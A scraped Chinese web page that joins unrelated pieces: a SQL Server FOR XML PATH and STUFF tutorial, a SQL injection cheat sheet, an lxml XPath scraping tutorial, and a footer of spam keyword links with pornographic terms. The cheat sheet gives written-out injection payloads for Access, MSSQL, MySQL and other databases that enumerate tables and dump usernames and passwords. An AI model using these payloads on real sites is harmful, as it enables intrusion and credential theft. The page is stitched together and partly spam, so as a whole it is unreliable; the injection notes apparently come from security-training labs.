整合營(yíng)銷服務(wù)商

          電腦端+手機(jī)端+微信端=數(shù)據(jù)同步管理

          免費(fèi)咨詢熱線:

          聊聊 SQL 中的For Xml Path

          聊聊 SQL 中的For Xml Path

          一道是關(guān)于合并同類型數(shù)據(jù)為一行的題,使用SQL Server 2017版本及以上的直接使用STRING_AGG()函數(shù)即可,但是2016版本以下是沒有這個(gè)功能的,那該如何求解?

          今天就給大家介紹一下FOR XML PATH,它就是用來處理低版本數(shù)據(jù)庫中數(shù)據(jù)合并的,是一個(gè)比較古老的功能了,新版本中也依然還能使用。

          FOR XML PATH是什么

          FOR XML PATH 是將查詢結(jié)果集以XML形式展現(xiàn),將多行的結(jié)果,展示在同一行。

          我們用實(shí)例來給大家介紹它的神奇之處。

          創(chuàng)建測(cè)試數(shù)據(jù)

          我們創(chuàng)建一個(gè)統(tǒng)計(jì)學(xué)生愛好的表

          CREATE TABLE Stu_Hobby(
          Stu_Name NVARCHAR(20),--姓名
          Age INT,--年齡
          Hobby NVARCHAR(20)  --愛好
          )
          
          INSERT INTO Stu_Hobby
          VALUES  ( N'張三',19,N'踢足球'),
           ( N'張三',19,N'打籃球'),
           ( N'張三',19,N'游泳'),
           ( N'李四',21,N'看電影'),
           ( N'李四',21,N'閱讀'),
           ( N'王五',22,N'唱歌'),
           ( N'王五',22,N'玩游戲'),
           ( N'馬六',19,N'踢足球'),
           ( N'趙七',20,N'爬山'),
           ( N'趙七',20,N'跑步')

          查詢學(xué)生愛好表Stu_Hobby里面的數(shù)據(jù):

          使用方法介紹

          測(cè)試數(shù)據(jù)建立好后,我們開始對(duì)這個(gè)表里面的數(shù)據(jù)進(jìn)行查詢,并使用上FOR XML PATH。

          SELECT *FROM dbo.Stu_Hobby FOR XML PATH;

          結(jié)果如下:

          它會(huì)生成一段XML代碼,我們點(diǎn)擊這行代碼會(huì)彈出一整個(gè)XML的頁面,由于篇幅較長(zhǎng),我們只截取一部分,具體如下:

          此外我們還可以在FOR XML PATH的后面寫參數(shù),如果后面接參數(shù),會(huì)將節(jié)點(diǎn)換成參數(shù)名稱,例如:

          SELECT *
          FROM dbo.Stu_Hobby FOR XML PATH(hobby)
          

          結(jié)果如下圖:

          已經(jīng)變成了我們添加的參數(shù)了。

          跟我們實(shí)際需求相接近的是下面這個(gè)功能

          我們可以單獨(dú)輸出某個(gè)字段的值,例如我們想看看學(xué)生愛好表中Hobby這一列具體有一些什么值,可以這樣寫:

          SELECT Hobby+'、'
          FROM dbo.Stu_Hobby FOR XML PATH('')

          注意:上面的+是字段拼接,就是將兩個(gè)字符串用+連成一個(gè)字符串。然后我們把XML中的給去掉。

          結(jié)果如下:

          可以看到我們寫的所有愛好都給列出來了,沒有去掉重復(fù)的,可以理解成把列里的值都顯示出來了。

          具體實(shí)際應(yīng)用

          我們現(xiàn)在想把上面的學(xué)生表里每個(gè)學(xué)生的愛好單獨(dú)顯示一行,愛好用"、"隔開。

          SELECT
          A.Stu_Name,
          A.Age,
          (SELECT Hobby+'、'  
          FROM [dbo].Stu_Hobby
          WHERE
          --必須加的匹配條件
          Stu_Name=A.Stu_Name AND Age=A.Age  
          FOR XML PATH('')) AS Hobby
          FROM [dbo].Stu_Hobby A
          GROUP BY A.Stu_Name,A.Age

          見證奇跡的時(shí)刻到了!!!

          對(duì)比我們先前建的表,這里已經(jīng)將Hobby列的數(shù)據(jù)按每個(gè)學(xué)生變成了一行。

          上面的WHERE條件是必須要的,如果去掉會(huì)怎么樣呢?我們把WHERE條件注釋掉看看會(huì)怎么樣?

          SELECT
          A.Stu_Name,
          A.Age,
          (SELECT Hobby+'、'
          FROM [dbo].Stu_Hobby
          --WHERE
          --必須加的匹配條件
          --Stu_Name=A.Stu_Name AND Age=A.Age
          FOR XML PATH('')) AS Hobby
          FROM [dbo].Stu_Hobby A
          GROUP BY A.Stu_Name,A.Age

          結(jié)果如下:

          就會(huì)將Hobby列所有值都顯示出來,很顯然這不是我們要的結(jié)果

          代碼優(yōu)化

          不知道小伙伴們有沒有發(fā)現(xiàn)Hobby列的結(jié)果尾部多了一個(gè)"、",看著好別扭,有沒有什么辦法將它去掉呢?答案是肯定的。

          先用一個(gè)LEFT()和LEN()函數(shù)來處理一下Hobby列

          SELECT
          T.Stu_Name,
          T.Age,
          LEFT(T.Hobby,LEN(T.Hobby)-1) AS Hobby
          FROM
          (SELECT
          A.Stu_Name,
          A.Age,
          (SELECT Hobby+'、'
          FROM [dbo].Stu_Hobby
          WHERE
          --必須加的匹配條件
          Stu_Name=A.Stu_Name AND Age=A.Age
          FOR XML PATH('')) AS Hobby
          FROM [dbo].Stu_Hobby A
          GROUP BY A.Stu_Name,A.Age
          ) T

          結(jié)果如下:

          這樣我們的需求就得到了完美解決,但是這個(gè)代碼有點(diǎn)長(zhǎng)額,能不能簡(jiǎn)短一點(diǎn)呀?答案也是肯定滴!在將代碼精簡(jiǎn)之前,我們需要先給大家介紹一個(gè)配合使用的函數(shù):

          STUFF()

          STUFF()函數(shù)的作用

          STUFF()函數(shù)用于刪除指定長(zhǎng)度的字符,并可以在指定的起點(diǎn)處插入另一組字符。STUFF()函數(shù)中如果開始位置或長(zhǎng)度值是負(fù)數(shù),或者如果開始位置大于第一個(gè)字符串的長(zhǎng)度,將返回空字符串。如果要?jiǎng)h除的長(zhǎng)度大于第一個(gè)字符串的長(zhǎng)度,將刪除到第一個(gè)字符串中的第一個(gè)字符。

          STUFF()函數(shù)的語法

          STUFF ( character_expression , start , length ,character_expression )

          參數(shù)解釋

          character_expression:一個(gè)字符數(shù)據(jù)表達(dá)式。character_expression 可以是常量、變量,也可以是字符列或二進(jìn)制數(shù)據(jù)列。

          start :一個(gè)整數(shù)值,指定刪除和插入的開始位置。如果 start 或 length 為負(fù),則返回空字符串。如果 start 比第一個(gè) character_expression 長(zhǎng),則返回空字符串。start 可以是 bigint 類型。

          length:一個(gè)整數(shù),指定要?jiǎng)h除的字符數(shù)。如果 length 比第一個(gè) character_expression 長(zhǎng),則最多刪除到最后一個(gè) character_expression 中的最后一個(gè)字符。length 可以是 bigint 類型。

          返回類型

          如果 character_expression 是受支持的字符數(shù)據(jù)類型,則返回字符數(shù)據(jù)。如果 character_expression 是一個(gè)受支持的 binary 數(shù)據(jù)類型,則返回二進(jìn)制數(shù)據(jù)。

          注意事項(xiàng)

          1.如果開始位置或長(zhǎng)度值是負(fù)數(shù),或者如果開始位置大于第一個(gè)字符串的長(zhǎng)度,將返回空字符串。如果要?jiǎng)h除的長(zhǎng)度大于第一個(gè)字符串的長(zhǎng)度,將刪除到第一個(gè)字符串中的第一個(gè)字符。

          2.如果結(jié)果值大于返回類型支持的最大值,則產(chǎn)生錯(cuò)誤。

          --以上信息來源微軟官方文檔

          這定義看的頭暈,我們還是來看看怎么使用吧

          實(shí)例:

          SELECT STUFF('abcdefg',1,0,'1234') --結(jié)果為'1234abcdefg'
          SELECT STUFF('abcdefg',1,1,'1234') --結(jié)果為'1234bcdefg'
          SELECT STUFF('abcdefg',2,1,'1234') --結(jié)果為'a1234cdefg'
          SELECT STUFF('abcdefg',2,2,'1234') --結(jié)果為'a1234defg'

          說了這么多,我們看看STUFF怎么解決我們上面的問題吧,上代碼:

          SELECT
          A.Stu_Name,
          A.Age,
          STUFF(
          (SELECT '、'+Hobby
          FROM [dbo].Stu_Hobby
          WHERE
          --必須加的匹配條件
          Stu_Name=A.Stu_Name AND Age=A.Age    
          FOR XML PATH('')
          ),1,1,'') AS Hobby
          FROM [dbo].Stu_Hobby A
          GROUP BY A.Stu_Name,A.Age

          是不是比LEFT簡(jiǎn)短一些啦?我們看一下結(jié)果是不是我們想要的。

          完美!

          好了,F(xiàn)OR XML PATH就介紹到這里了,小伙伴可以對(duì)比以上兩種優(yōu)化的方法,自行比較哪種方式更加簡(jiǎn)單易懂。

          SQL作用在關(guān)系型數(shù)據(jù)庫上面,什么是關(guān)系型數(shù)據(jù)庫?關(guān)系型數(shù)據(jù)庫是由一張張的二維表組成的, 常見的關(guān)系型數(shù)據(jù)庫廠商有MySQL、SQLite、SQL Server、Oracle,由于MySQL是免費(fèi)的,所以企業(yè)一般用MySQL的居多。Web SQL是前端的數(shù)據(jù)庫,它也是本地存儲(chǔ)的一種,使用SQLite實(shí)現(xiàn),SQLite是一種輕量級(jí)數(shù)據(jù)庫,它占的空間小,支持創(chuàng)建表,插入、修改、刪除表格數(shù)據(jù),但是不支持修改表結(jié)構(gòu),如刪掉一縱列,修改表頭字段名等。但是可以把整張表刪了。同一個(gè)域可以創(chuàng)建多個(gè)DB,每個(gè)DB有若干張表。

          與數(shù)據(jù)庫產(chǎn)生交互就有可能存在注入攻擊,不只是MySQL數(shù)據(jù)庫,還有Oracle,MongoDB等數(shù)據(jù)庫也可能會(huì)存在注入攻擊。


          簡(jiǎn)要學(xué)習(xí)各種數(shù)據(jù)庫的注入特點(diǎn)

          數(shù)據(jù)庫架構(gòu)組成,數(shù)據(jù)庫高權(quán)限操作

          簡(jiǎn)要了解各數(shù)據(jù)庫

          Access,Mysql,mssql(Microsoft SQL server),mongoDB,postgresql,sqlite,oracle,sybase等

          Access

          表名

          列名

          數(shù)據(jù)

          Access數(shù)據(jù)庫保存在網(wǎng)站源碼下面,自己網(wǎng)站數(shù)據(jù)庫獨(dú)立存在,所以無法進(jìn)行跨庫,也沒有文件讀寫的操作。

          除了Access其他數(shù)據(jù)庫組成架構(gòu)基本都是大同小異。

          mysql mssql等

          數(shù)據(jù)庫名A

          表名

          列名

          數(shù)據(jù)

          數(shù)據(jù)庫名B

          。。。。。。

          每個(gè)數(shù)據(jù)庫功能不同,我們采取注入的時(shí)候攻入方式不同

          什么決定網(wǎng)站注入點(diǎn)用戶權(quán)限?

          數(shù)據(jù)庫配置文件的用戶,是誰連接的

          Access偏移注入

          如果遇到列名猜解不到的情況,則可以使用Access偏移注入

          1. 原理

          借用數(shù)據(jù)庫的自連接查詢讓數(shù)據(jù)庫內(nèi)部發(fā)生亂序,從而偏移出所需要的字段在我們的頁面上顯示

          1. 用途

          解決知道Access數(shù)據(jù)庫中知道表名,但是得不到字段的sql注入困境

          1. 特點(diǎn)

          a. 成功與否看技巧與運(yùn)氣,不能保證100%成功。

          b. 無需管理員賬號(hào)密碼字段,直接爆賬號(hào)密碼

          1. 利用條件

          a. 已知管理表名

          b. 已知任意字段(一個(gè)或多個(gè)會(huì)增加機(jī)率,最常見的就是id)

          1. 影響偏移注入成功因素

          a. 管理表的字段數(shù)越少越好(最好是三個(gè):id 賬號(hào)字段 密碼字段)

          b. 當(dāng)前注入點(diǎn)的腳本內(nèi)查詢的表內(nèi)的字段數(shù)越多越好

          1. 流程

          a. 判斷字段數(shù)

          b. 判斷表名

          c. 開始偏移注入

          本地Access偏移注入靶場(chǎng)

          偏移量就是逐步增加或遞減,直到出現(xiàn)結(jié)果。*表示可代替的字符串,用*代替22,返回界面依舊報(bào)錯(cuò),然后用*代替21,依次遞減。22-16=6,6表示該表中的列名個(gè)數(shù)。


          *代表6個(gè),后面一串字符代表兩倍,就相當(dāng)于2倍*,12個(gè)

          爆列名數(shù)據(jù)

          一級(jí)偏移語句:union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id=b.id)
          二級(jí)偏移語句:union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id)inner join admin as c on a.id=c.id)



          二級(jí)偏移,3倍*,所以為18個(gè)


          查看登錄框源代碼的表單值或觀察URL特征等也可以針對(duì)表或列獲取不到的情況

          猜解表名可能是ZB_admin,觀察網(wǎng)站地址特征,是否有前綴。

          或者看登錄框表單值

          SQL server/MSSQL注入

          1. 介紹

          Microsoft SQL Server 是一個(gè)全面的數(shù)據(jù)庫平臺(tái),使用集成的商業(yè)智能 (BI)工具提供了企業(yè)級(jí)的數(shù)據(jù)管理。Microsoft SQL Server 數(shù)據(jù)庫引擎為關(guān)系型數(shù)據(jù)和結(jié)構(gòu)化數(shù)據(jù)提供了更安全可靠的存儲(chǔ)功能,使您可以構(gòu)建和管理用于業(yè)務(wù)的高可用和高性能的數(shù)據(jù)應(yīng)用程序。

          1. 過程

          判斷數(shù)據(jù)庫類型

          and exists (select * from sysobjects)--返回正常為mssql(也名sql server)

          and exists (select count(*) from sysobjects)--有時(shí)上面那個(gè)語句不行就試試這個(gè)哈

          判斷數(shù)據(jù)庫版本

          and 1=@@version--這個(gè)語句要在有回顯的模式下才可以哦

          and substring((select @@version),22,4)='2008'--適用于無回顯模式,后面的2008就是數(shù)據(jù)庫版本, 返回正常就是2008的復(fù)制代碼第一條語句執(zhí)行效果圖(類似):第二條語句執(zhí)行效果圖:(如果是 2008的話就返回正常)

          獲取所有數(shù)據(jù)庫的個(gè)數(shù) (一下3條語句可供選擇使用)

          1. and 1=(select quotename(count(name)) from master..sysdatabases)--

          2. and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases) --

          3. and 1=(select str(count(name))%2b'|' from master..sysdatabases where dbid>5) --

          and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases where dbid>5) --

          說明:dbid從1-4的數(shù)據(jù)庫一般為系統(tǒng)數(shù)據(jù)庫.

          獲取數(shù)據(jù)庫 (該語句是一次性獲取全部數(shù)據(jù)庫的,且語句只適合>=2005,兩條語句可供選擇使用)

          and 1=(select quotename(name) from master..sysdatabases FOR XML PATH(''))--

          and 1=(select '|'%2bname%2b'|' from master..sysdatabases FOR XML PATH(''))--

          獲取當(dāng)前數(shù)據(jù)庫

          and db_name()>0

          and 1=(select db_name())--

          獲取當(dāng)前數(shù)據(jù)庫中的表(有2個(gè)語句可供選擇使用)【下列語句可一次爆數(shù)據(jù)庫所有表(只限于 mssql2005及以上版本)】

          and 1=(select quotename(name) from 數(shù)據(jù)庫名..sysobjects where xtype='U' FOR XML PATH(''))--

          and 1=(select '|'%2bname%2b'|' from 數(shù)據(jù)庫名..sysobjects where xtype='U' FOR XML PATH(''))--

          獲得表里的列

          一次爆指定表的所有列(只限于mssql2005及以上版本):

          and 1=(select quotename(name) from 數(shù)據(jù)庫名..syscolumns where id=(select id from 數(shù)據(jù)庫名..sysobjects where name='指定表名') FOR XML PATH(''))--

          and 1=(select '|'%2bname%2b'|' from 數(shù)據(jù)庫名..syscolumns where id=(select id from 數(shù)據(jù)庫名..sysobjects where name='指定表名') FOR XML PATH(''))--

          ⑨獲取指定數(shù)據(jù)庫中的表的列的數(shù)據(jù)庫

          逐條爆指定表的所有字段的數(shù)據(jù)(只限于mssql2005及以上版本):

          and 1=(select top 1 * from 指定數(shù)據(jù)庫..指定表名 where排除條件 FOR XML PATH(''))--

          一次性爆N條所有字段的數(shù)據(jù)(只限于mssql2005及以上版本):

          and 1=(select top N * from 指定數(shù)據(jù)庫..指定表名 FOR XML PATH(''))--復(fù)制代碼第一條語句:and 1=(select top 1 * from 指定數(shù)據(jù)庫..指定表名 FOR XML PATH(''))--測(cè)試效果圖:----------------------------------加上where條件篩選結(jié)果出來會(huì)更加好,如:where and name like '%user%' 就會(huì)篩選出含有user關(guān)鍵詞的出來。用在篩選表段時(shí)很不錯(cuò)。

          轉(zhuǎn)自:http://www.myhack58.com/Article/html/3/8/2015/63146.htm

          PostgraSQL注入原理

          https://www.webshell.cc/524.html

          https://www.cnblogs.com/yilishazi/p/14710349.html

          https://www.jianshu.com/p/ba0297da2c2e

          Oracle注入

          https://www.cnblogs.com/peterpan0707007/p/8242119.html

          MongoDB注入

          https://blog.csdn.net/weixin_33881753/article/details/87981552

          https://www.secpulse.com/archives/3278.html

          各數(shù)據(jù)庫手工注入

          MySQL:

          1.找到注入點(diǎn) and 1=1 and 1=2 測(cè)試報(bào)錯(cuò)

          2.order by 5 # 到5的時(shí)候報(bào)錯(cuò),獲取字段總數(shù)為4

          3.id=0(不是1就行,強(qiáng)行報(bào)錯(cuò)) union select 1,2,3,4 # 聯(lián)合查詢,2和3可以顯示信息

          4.獲取數(shù)據(jù)庫信息

          user()==>root

          database()==>mozhe_Discuz_StormGroup

          version()==>5.7.22-0ubuntu0.16.04.1

          5.獲取數(shù)據(jù)庫表

          table_name 表名

          information_schema.tables 系統(tǒng)生成信息表

          table_schema=數(shù)據(jù)庫名16進(jìn)制或者用單引號(hào)括起來

          改變limit 0,1中前一個(gè)參數(shù),得到兩個(gè)表 StormGroup_member notice

          6.獲取列名

          結(jié)果如下 id,name,password,status

          7.脫褲


          Access:

          1.and 1=2 報(bào)錯(cuò)找到注入點(diǎn)

          2.order by 獲取總字段

          3.猜解表名 and exists (select * from admin) 頁面返回正常,說明存在admin表

          4.猜解列名 and exists(select id from admin) 頁面顯示正常,admin表中存在id列 username,passwd 同樣存在

          5.脫褲 union select 1,username,passwd,4 from admin

          MSSQL:

          1.and 1=2報(bào)錯(cuò)

          2.order by N# 獲取總字段

          3.猜表名 and exists(select * from manage) 表名manage存在

          4.猜解列名 and exists(select id from manage) 列名id存在,同樣username,password也存在

          5.脫褲 and exists (select id from manage where id=1 ) 證明id=1存在

          and exists (select id from manage where%20 len(username)=8 and id=1 ) 猜解username字段長(zhǎng)度為8

          and exists (select id from manage where%20 len(password)=16 and id=1 ) 猜解password字段長(zhǎng)度為16

          可用Burp的Intruder功能輔助猜解

          猜解username第1到8位的字符,ASCII轉(zhuǎn)碼 admin_mz

          猜解password第1到16位的字符,ASCII轉(zhuǎn)碼(Burp 爆破)

          轉(zhuǎn)ASCII的py腳本:

          72e1bfc3f01b7583 MD5解密為97285101


          SQLite:

          1.找注入點(diǎn) and 1=1

          2.order by N 猜字段 4

          3.猜數(shù)據(jù)庫

          offset==>0~2

          有三個(gè)數(shù)據(jù)庫:

          WSTMart_reg

          notice_sybase

          sqlite_sequence

          4.猜列

          共有3個(gè)字段:

          id,name,password

          5.脫褲


          MongoDB:

          1.id=1′ 單引號(hào)注入報(bào)錯(cuò)

          2.閉合語句,查看所有集合

          3.查看指定集合的數(shù)據(jù)

          [0] 代表第一條數(shù)據(jù),可遞增


          DB2:

          1.and 1=2 判斷注入點(diǎn)

          2.order by N 獲取字段數(shù)

          3.爆當(dāng)前數(shù)據(jù)庫

          GAME_CHARACTER

          4.列表

          NAME

          5.脫褲


          PostgreSQL:

          1.and 1=2 判斷注入點(diǎn)

          2.order by N 獲取字段

          3.爆數(shù)據(jù)庫

          4.列表

          5.列字段

          6.拖庫


          Sybase數(shù)據(jù)庫:

          1.and 1=2 判斷注入點(diǎn)

          2.order by N 獲取總字段

          3.爆數(shù)據(jù)庫

          4.列表

          5.列字段

          6.查狀態(tài)

          結(jié)果為:zhang

          7.反選爆用戶名

          結(jié)果為:mozhe

          8.猜解密碼


          Oracle:

          1.and 1=1

          2.order by

          3.爆數(shù)據(jù)庫

          4.列表

          5.列字段

          6.拖庫

          加上狀態(tài):1 where STATUS=1

          、安裝

          XPath (XML Path Language) 是一門在 HTML\XML 文檔中查找信息的語言,可用來在 HTML\XML 文檔中對(duì)元素和屬性進(jìn)行遍歷。

          pip install lxml

          二、使用案例

          from lxml import etree
          import requests
          import asyncio
          import functools
          import re
          import json
          
          house_info=[]
          
          '''異步請(qǐng)求獲取鏈家每頁數(shù)據(jù)'''
          async def get_page(page_index):
              headers={
                  'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36'
              }
              request=functools.partial(requests.get, f'https://sh.lianjia.com/ershoufang/pudong/pg{page_index}/',
                                          headers=headers)
              loop=asyncio.get_running_loop()
              response=await loop.run_in_executor(None, request)
              return response
          
          '''使用xpath獲取房屋信息'''
          def get_house_info(html):
              title_list=html.xpath('//a[@data-el="ershoufang"]/text()')  # 房屋title
              house_pattern_list=html.xpath('//div[@class="houseInfo"]/text()')  # 房屋格局
              price_list=html.xpath('//div[@class="unitPrice"]/span/text()')  # 房屋單價(jià)
              location_list=html.xpath('//div[@class="positionInfo"]')  # 房屋位置信息
              total_list=html.xpath('//div[contains(@class,"totalPrice")]')  # 總價(jià)
          
              for index, item in enumerate(zip(title_list, house_pattern_list, price_list)):
                  location_item=location_list[index]
                  total_item=total_list[index]
                  house_info.append({
                      'title': item[0],
                      'house_pattern': item[1],
                      'price': item[2],
                      'location': location_item.xpath('./a[1]/text()')[0] + location_item.xpath('./a[last()]/text()')[0],
                      'total': total_item.xpath('./span/text()')[0] + total_item.xpath('./i[last()]/text()')[0]
                  })
          
          '''異步獲取第一頁數(shù)據(jù),拿到第一頁房屋信息,并返回分頁總數(shù)和當(dāng)前頁'''
          async def get_first_page():
              response=await get_page(1)
              #etree.HTML 將獲取到的html字符串轉(zhuǎn)為可操作的Element對(duì)象
              get_house_info(etree.HTML(response.text))
          
          if __name__=='__main__':
              asyncio.run(get_first_page())
          

          三、etree 模塊

          1. etree.Element(element_name, attrib=None, nsmap=None) 創(chuàng)建element對(duì)象
          from lxml import etree
          '''
          element_name:要?jiǎng)?chuàng)建的元素的名稱
          attrib:元素的屬性字典
          nsmap:命名空間映射字典,用于指定元素的命名空間
          '''
          element=etree.Element('div',attrib={'class':'test'},nsmap={"ns": "http://example.com/ns"})
          1. etree.SubElement(parent, element_name, attrib=None, nsmap=None) 創(chuàng)建子元素
          from lxml import etree
          '''
          parent:element對(duì)象
          element_name:要?jiǎng)?chuàng)建的元素的名稱
          attrib:元素的屬性字典
          nsmap:命名空間映射字典,用于指定元素的命名空間
          '''
          element=etree.Element('div', attrib={'class': 'test'}, nsmap={"ns": "http://example.com/ns"})
          span_element=etree.SubElement(element,'span')
          span_element.text='我是span'
          print(element.xpath('//div/span/text()'))
          1. etree.fromstring(text, parser=None,base_url=None) 將XML、HTML字符串解析為Element對(duì)象
          from lxml import etree
          
          '''
          text:解析的XML字符串
          parse:解析器對(duì)象,默認(rèn)lxml.etree.XMLParser、lxml.etree.HTMLParser
          base_url: 基本URL,用于解析相對(duì)URL。如果HTML文檔中包含相對(duì)URL,解析器將使用base_url來將其轉(zhuǎn)換為絕對(duì)URL。如果未提供base_url,則相對(duì)URL將保持不變
          '''
          html_str='<div class="test"><span>我是span</span></div>'
          element=etree.fromstring(html_str)
          print(element.xpath('//div/span/text()'))
          1. etree.HTML(text, parser=None, base_url=None) 將HTML字符串解析為Element對(duì)象
          from lxml import etree
          
          '''
          xml_string:解析的XML字符串
          parse:解析器對(duì)象,默認(rèn)lxml.etree.HTMLParser
          base_url: 基本URL,用于解析相對(duì)URL。如果HTML文檔中包含相對(duì)URL,解析器將使用base_url來將其轉(zhuǎn)換為絕對(duì)URL。如果未提供base_url,則相對(duì)URL將保持不變
          '''
          html_str='<div class="test"><span>我是span</span></div>'
          element=etree.HTML(html_str)
          print(element.xpath('//div/span/text()'))
          1. etree.XML(text, parser=None, base_url=None) 將XML字符串解析為Element對(duì)象
          from lxml import etree
          
          '''
          text:解析的XML字符串
          parse:解析器對(duì)象,默認(rèn)lxml.etree.XMLParser
          base_url: 基本URL,用于解析相對(duì)URL。如果HTML文檔中包含相對(duì)URL,解析器將使用base_url來將其轉(zhuǎn)換為絕對(duì)URL。如果未提供base_url,則相對(duì)URL將保持不變
          '''
          html_str='<div class="test"><span>我是span</span></div>'
          element=etree.XML(html_str)
          print(element.xpath('//div/span/text()'))
          1. etree.parse(source, parser=None, base_url=None) 將XML、HTML字符串解析為ElementTree對(duì)象

          四、element 對(duì)象

          1. element.xpath(path) 執(zhí)行xpath語法
          2. element.nsmap:獲取或設(shè)置元素命名空間映射
          3. element.attrib:獲取或設(shè)置元素屬性
          4. element.text:獲取或設(shè)置文本
          5. element.tag:返回對(duì)象名稱
          6. element.append(element) 向節(jié)點(diǎn)里面追加子節(jié)點(diǎn)
          7. element.insert(index,element) 向節(jié)點(diǎn)開始的某個(gè)位置添加子節(jié)點(diǎn)
          from lxml import etree
          
          element=etree.Element('div', attrib={'class': 'test'})
          span_element=etree.SubElement(element, 'span')
          span_element.text='我是span'append_child=etree.Element('div', attrib={'class': 'append'})
          append_child.text='我是append_child'insert_child=etree.Element('div', attrib={'class': 'insert'})
          insert_child.text='我是insert_child'element.append(append_child)
          element.insert(0,insert_child)
          print(element.xpath('//div/span/text()'))
          print(element.xpath('//div/div[@class="append"]/text()'))
          print(element.xpath('//div/div[@class="insert"]/text()'))
          1. element.find(xpath): 在元素的子樹中查找與XPath表達(dá)式匹配的第一個(gè)元素,并返回該元素。如果找不到匹配的元素,則返回None
          2. element.findall(xpath): 在元素的子樹中查找與XPath表達(dá)式匹配的所有元素,并返回一個(gè)列表
          3. element.get(attribute_name, default=None): 獲取元素的指定屬性的值
          4. element.set(attribute_name, value): 設(shè)置元素的指定屬性的值
          5. element.iter(tag=None): 迭代元素及其子元素,可選擇指定標(biāo)簽進(jìn)行過濾
          6. element.getparent(): 獲取元素的父元素
          7. element.getchildren(): 獲取元素的所有子元素
          8. element.getroottree(): 獲取包含元素的根元素的Tree對(duì)象

          五、elementTree 對(duì)象

          1. elementTree.root: 根元素的Element對(duì)象。可以通過訪問tree.root來獲取根元素。
          2. elementTree.getroot(): 獲取根元素的Element對(duì)象。與tree.root屬性相同,用于獲取根元素
          3. elementTree.find(path): 在整個(gè)文檔中查找具有指定路徑的第一個(gè)元素,并返回該元素的Element對(duì)象。路徑可以使用XPath表達(dá)式指定
          4. elementTree.findall(path): 在整個(gè)文檔中查找具有指定路徑的所有元素,并返回這些元素的列表。路徑可以使用XPath表達(dá)式指定
          5. elementTree.iterfind(path): 在整個(gè)文檔中迭代查找具有指定路徑的元素,并返回這些元素的迭代器。路徑可以使用XPath表達(dá)式指定
          6. elementTree.write(file, encoding=None, xml_declaration=None, pretty_print=False): 將整個(gè)文檔寫入文件。file參數(shù)可以是文件名或文件對(duì)象。encoding參數(shù)指定寫入文件時(shí)使用的字符編碼。xml_declaration參數(shù)指定是否寫入XML聲明。pretty_print參數(shù)指定是否以更易讀的格式寫入文檔
          7. elementTree.tostring(element, encoding=None, method="xml", pretty_print=False): 將指定元素及其子元素序列化為字符串。element參數(shù)是要序列化的元素。encoding參數(shù)指定字符串的字符編碼。method參數(shù)指定序列化的方法,可以是"xml"(默認(rèn))或"html"。pretty_print參數(shù)指定是否以更易讀的格式序列化。
          8. elementTree.parse(source, parser=None, base_url=None): 靜態(tài)方法,用于解析XML或HTML文檔并返回一個(gè)ElementTree對(duì)象。與etree.parse函數(shù)的用法相同

          六、parse 解析器對(duì)象

          1. lxml.etree.XMLParser: 用于解析XML文檔的默認(rèn)解析器。它支持標(biāo)準(zhǔn)的XML解析,并提供了豐富的功能和選項(xiàng),如命名空間支持、DTD驗(yàn)證等。
          2. lxml.etree.HTMLParser: 用于解析HTML文檔的默認(rèn)解析器。它專門針對(duì)HTML進(jìn)行了優(yōu)化,并具有處理HTML特性的功能,如自動(dòng)修復(fù)破碎的標(biāo)簽、處理實(shí)體引用等。
          3. lxml.etree.XMLPullParser: 一種事件驅(qū)動(dòng)的解析器,用于逐行解析XML文檔。它提供了一個(gè)迭代器接口,可以逐行讀取和處理XML文檔。
          4. lxml.etree.HTMLPullParser: 一種事件驅(qū)動(dòng)的解析器,用于逐行解析HTML文檔。它提供了一個(gè)迭代器接口,可以逐行讀取和處理HTML文檔。

          主站蜘蛛池模板: 久久精品无码一区二区app| 免费萌白酱国产一区二区| 国产福利91精品一区二区| 日本精品一区二区三本中文 | 亚洲一区无码中文字幕乱码| 精品一区二区三区在线播放| 美女视频一区三区网站在线观看| 国内精品无码一区二区三区| 国产伦精品一区二区三区免.费| 水蜜桃av无码一区二区| 亚洲综合av永久无码精品一区二区| 国产精品成人一区二区三区| 亚洲av乱码中文一区二区三区 | 亚洲国产欧美一区二区三区| 污污内射在线观看一区二区少妇| 91精品一区国产高清在线| 内射白浆一区二区在线观看| 亚洲AV无码片一区二区三区 | 香蕉久久一区二区不卡无毒影院| 一区二区三区四区国产| 一区二区三区四区在线播放| 国产精品一区二区在线观看| 国模极品一区二区三区| 国模极品一区二区三区| 国内精品一区二区三区在线观看| 人妻av综合天堂一区| 日韩视频一区二区| 精品无码国产AV一区二区三区 | 天天爽夜夜爽人人爽一区二区| 成人精品视频一区二区| 国产成人精品一区二区A片带套 | а天堂中文最新一区二区三区| 一区二区三区无码高清| 亚洲乱码国产一区网址| 色噜噜AV亚洲色一区二区| 亚洲av综合av一区| 亚欧免费视频一区二区三区| 亚洲国产欧美日韩精品一区二区三区| 久久精品无码一区二区三区不卡| 国产亚洲综合一区二区三区| 一区二区三区四区视频在线|